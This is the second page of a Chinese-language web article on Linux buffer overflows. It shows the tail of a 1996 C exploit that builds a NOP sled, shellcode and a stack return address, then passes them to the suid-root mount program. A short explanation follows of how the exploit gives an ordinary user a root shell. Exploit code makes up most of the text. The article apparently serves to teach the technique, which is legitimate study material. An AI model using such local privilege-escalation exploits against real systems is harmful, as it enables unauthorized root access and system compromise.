打印本文 打印本文 关闭窗口 关闭窗口
Linux缓冲区溢出
作者:武汉SEO闵涛  文章来源:敏韬网  点击数1800  更新时间:2009/4/22 23:07:31  文章录入:mintao  责任编辑:mintao
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

----------------------------------------------------------------------

程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区
buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望
程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成
mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。
由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将
获得一个具有root权限的shell。

上一页  [1] [2] 

打印本文 打印本文 关闭窗口 关闭窗口